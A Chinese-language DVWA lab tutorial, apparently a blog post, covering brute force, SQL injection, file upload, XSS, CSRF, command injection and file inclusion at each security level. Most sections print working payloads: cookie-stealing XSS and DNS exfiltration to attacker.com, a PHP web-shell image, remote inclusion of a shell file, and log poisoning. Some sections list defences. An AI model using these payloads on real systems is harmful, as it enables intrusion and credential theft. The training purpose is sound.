DVWA实战演练：从入门到精通的Web安全攻防指南
1. DVWA平台入门指南
DVWA（Damn Vulnerable Web Application）是一个专门为安全测试设计的Web应用，它内置了多种常见漏洞场景。我第一次接触这个平台时，发现它就像个"漏洞博物馆"，把各种安全问题集中展示在一个可控环境中。对于刚入门Web安全的新手来说，DVWA最大的价值在于它提供了从低到高四个安全等级（Low/Medium/High/Impossible），让我们能清晰看到不同防护级别的效果差异。
搭建DVWA环境其实很简单，我推荐使用XAMPP或Docker方式。以XAMPP为例：
- 下载DVWA压缩包解压到htdocs目录
- 修改config/config.inc.php中的数据库配置
- 访问http://localhost/dvwa/setup.php初始化数据库
- 用默认账号admin/password登录
注意：建议在虚拟机或隔离环境中运行DVWA，避免暴露在公网。我在本地测试时曾不小心把安全等级设为Low就开放了端口，结果第二天发现被植入了挖矿脚本。
登录后首先要调整安全等级，这个设置会影响所有漏洞模块的防护强度。新手建议从Low级别开始，逐步提升难度。右上角的"Create / Reset Database"按钮可以随时重置实验环境，这个功能在反复测试时特别实用。
2. 暴力破解实战解析
2.1 Low级别漏洞利用
在Low级别的暴力破解模块，系统对登录尝试没有任何防护。我常用两种攻击方式：
- Burp Suite爆破：
# 拦截登录请求发送到Intruder # 设置攻击类型为Cluster bomb # 加载用户名和密码字典 # 根据响应长度或内容筛选成功组合- SQL注入绕过： 输入
admin' or '1'='1作为用户名，密码留空即可登录。原理是构造永真条件使查询语句：
SELECT * FROM users WHERE user='admin' or '1'='1' AND password=''2.2 Medium级别防护突破
Medium级别使用了mysqli_real_escape_string()防御SQL注入，但爆破防护依然薄弱。这里有个小技巧：由于响应时间差异，可以通过时间盲注判断条件真假：
admin' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(3),0)#如果数据库名首字母是'd'就会延迟3秒响应。
2.3 High级别Token机制破解
High级别引入了CSRF Token防护，常规爆破会失效。我的解决方案是：
- 先获取有效Token值
- 在Burp Suite中配置Macro自动获取新Token
- 设置Payload处理规则更新Token
- 保持单线程攻击避免Token失效
3. SQL注入深度攻防
3.1 基础注入手法
在Low级别，典型的注入流程包括：
- 判断注入类型：
1' and '1'='1返回正常说明是字符型 - 确定字段数：
1' order by 2--逐步测试 - 获取数据库信息：
1' union select 1,group_concat(schema_name) from information_schema.schemata--3.2 绕过过滤技巧
Medium级别过滤了引号，可以采用：
- 十六进制编码：
0x64767761代替'dvwa' - 字符串函数：
CONCAT(CHAR(100),CHAR(118),CHAR(119),CHAR(97)) - 盲注技术：基于布尔或时间的逐字符判断
3.3 高级注入防御
Impossible级别采用PDO预处理语句，从根本上杜绝注入。实际开发中建议：
- 始终使用参数化查询
- 最小权限原则配置数据库账户
- 对输入实施白名单验证
- 启用Web应用防火墙(WAF)
4. 文件上传漏洞利用
4.1 基础绕过方法
Low级别直接上传PHP文件即可获取webshell。Medium级别检查Content-Type时，可以通过Burp修改：
Content-Type: image/jpeg4.2 高级攻击组合
High级别检测文件内容时，我的绕过方案：
- 制作图片马：
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg- 配合文件包含漏洞执行：
http://dvwa/vulnerabilities/fi/?page=./hackable/uploads/image.jpg&cmd=id4.3 全面防御方案
生产环境应该：
- 文件重命名存储（如MD5哈希）
- 限制上传目录执行权限
- 使用病毒扫描引擎检查内容
- 存储文件到云对象存储服务
5. XSS攻击实战演示
5.1 反射型XSS
Low级别直接注入：
<script>alert(document.cookie)</script>Medium级别绕过过滤：
<ScRipt>alert(1)</ScRipt>5.2 存储型XSS
在留言板等场景注入持久化脚本：
<img src=x onerror=stealCookie()> <script> function stealCookie(){ new Image().src='http://attacker.com/?cookie='+document.cookie; } </script>5.3 DOM型XSS
利用前端JS漏洞：
# 原始代码 var lang = document.location.href.substring( document.location.href.indexOf('default=')+8 ); # 攻击向量 http://victim.com/?default=<script>alert(1)</script>6. CSRF攻击与防御
6.1 基础攻击构造
Low级别直接伪造请求：
<img src="http://dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change">6.2 绕过Referer检查
Medium级别需要构造包含目标域名的Referer：
<iframe src="http://attacker.com/dvwa.html"> <!-- dvwa.html内容 --> <script> document.write('<img src="http://dvwa/csrf/...">'); </script>6.3 突破Token防护
结合XSS获取Token：
fetch('/csrf') .then(r=>r.text()) .then(t=>{ let token=t.match(/user_token' value='(.*?)'/)[1]; new Image().src='http://dvwa/csrf/?password_new=hack&token='+token; });7. 命令注入攻防实战
7.1 基础命令拼接
Low级别直接注入：
127.0.0.1; cat /etc/passwd7.2 绕过黑名单过滤
Medium级别过滤;和&&时可用：
127.0.0.1 || whoami 127.0.0.1 | id7.3 无回显攻击技巧
通过DNS外带数据：
; nslookup `whoami`.attacker.com然后在DNS服务器查看解析记录获取命令输出。
8. 文件包含漏洞进阶
8.1 本地文件包含
读取系统敏感文件：
http://dvwa/vulnerabilities/fi/?page=../../../../etc/passwd8.2 远程文件包含
执行远程PHP脚本：
http://dvwa/vulnerabilities/fi/?page=http://attacker.com/shell.txt8.3 日志污染技巧
通过User-Agent注入PHP代码：
curl -A "<?php system($_GET['cmd']);?>" http://dvwa/然后包含日志文件：
http://dvwa/vulnerabilities/fi/?page=../../../../var/log/apache2/access.log